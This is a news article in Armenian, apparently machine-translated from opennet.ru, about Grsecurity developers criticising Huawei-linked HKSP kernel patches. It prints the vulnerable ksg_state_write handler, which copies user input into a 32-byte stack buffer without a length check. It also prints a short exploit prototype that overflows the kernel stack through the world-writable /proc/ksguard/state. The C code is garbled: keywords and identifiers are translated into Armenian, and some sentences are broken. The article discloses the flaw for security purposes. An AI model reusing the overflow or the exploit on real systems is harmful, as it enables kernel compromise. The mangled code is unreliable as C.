Grsecurity նախագծի մշակողները
HKSP պատչերը հրապարակվել են Huawei-ի աշխատակցի կողմից, GitHub պրոֆիլում ներառել են Huawei-ի հիշատակումը և նախագծի անվանման մեջ օգտագործել Huawei բառը (HKSP - Huawei Kernel Self Protection): Միևնույն ժամանակ Huawei-ի ներկայացուցիչները հերքել են HKSP նախագծի կապը ընկերության հետ և հայտարարել, որ կոդը մշակվել է աշխատակցի անձնական նախաձեռնությամբ, Huawei-ի պաշտոնական նախագիծ չէ և չի օգտագործվում ընկերության արտադրանքներում։ Վրա
HKSP-ն ներառում է փոփոխություններ, ինչպիսիք են cred-ի կառուցվածքում օֆսեթների պատահականացում, պաշտպանություն օգտագործողի նույնացուցիչի անվան տարածքի վրա հարձակումներից (pid namespace), գործընթացի կույտի բաժանումը mmap-ի տարածքից, կրկնակի զանգերի հայտնաբերում kfree ֆունկցիային, արգելափակում է արտահոսքը կեղծիքի միջոցով: -FS /proc (/proc/ {modules, keys, key-users}, /proc/sys/kernel/* և /proc/sys/vm/mmap_min_addr, /proc/kallsyms), բարելավված օգտվողի տարածքի հասցեների պատահականացում, լրացուցիչ Ptrace պաշտպանություն, ուժեղացված smap և smep պաշտպանություն, չմշակված վարդակների միջոցով տվյալների ուղարկումն արգելելու հնարավորություն, UDP վարդակներում սխալ հասցեների արգելափակում և ընթացիկ գործընթացների ամբողջականությունը ստուգելու հնարավորություն: Այն ներառում է նաև Ksguard միջուկի մոդուլը, որն ուղղված է տիպիկ rootkits-ների ներդրման փորձերի հայտնաբերմանը:
Պատչի
Grsecurity-ի մշակողների կողմից կարկատակի ուսումնասիրությունը բացահայտեց կոդի բազմաթիվ սխալներ և թույլ կողմեր, ինչպես նաև ցույց տվեց սպառնալիքի մոդելի բացակայությունը, որը թույլ կտա նրանց համարժեք գնահատել նախագծի հնարավորությունները: Հստակ ցույց տալու համար, որ կոդը գրվել է առանց ապահով ծրագրավորման մեթոդների օգտագործման, տրված է կարգավորիչի չնչին խոցելիության օրինակ:
ֆայլ /proc/ksguard/state, որը ստեղծվել է 0777 իրավունքով, ինչը ենթադրում է, որ բոլորն ունեն գրելու հնարավորություն: ksg_state_write ֆունկցիան, որն օգտագործվում է /proc/ksguard/state-ում գրված հրամանները վերլուծելու համար, ստեղծում է tmp[32] բուֆեր, որի վրա տվյալները գրվում են փոխանցված օպերանդի չափի հիման վրա՝ առանց թիրախային բուֆերի չափը հաշվի առնելու և առանց ստուգելով պարամետրը լարային չափով: Նրանք. Միջուկի կույտի մի մասը վերագրանցելու համար հարձակվողը պարզապես պետք է գրի հատուկ ձևաչափված տող /proc/ksguard/state-ում:
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *օֆսեթ)
{
u64 արժեքը;
char tmp[32];
չափ_տ n = 0;
եթե (copy_from_user (tmp, buf, len))
վերադարձ -1;
արժեքը = simple_strtoul (tmp, '\0', 10);
...
Exploit նախատիպը.
char buf[4096] = {};
int fd = բաց («/proc/ksguard/state», O_WRONLY);
եթե (fd >= 0) {
գրել (fd, buf, sizeof(buf));
փակել (fd);
}
Source: opennet.ru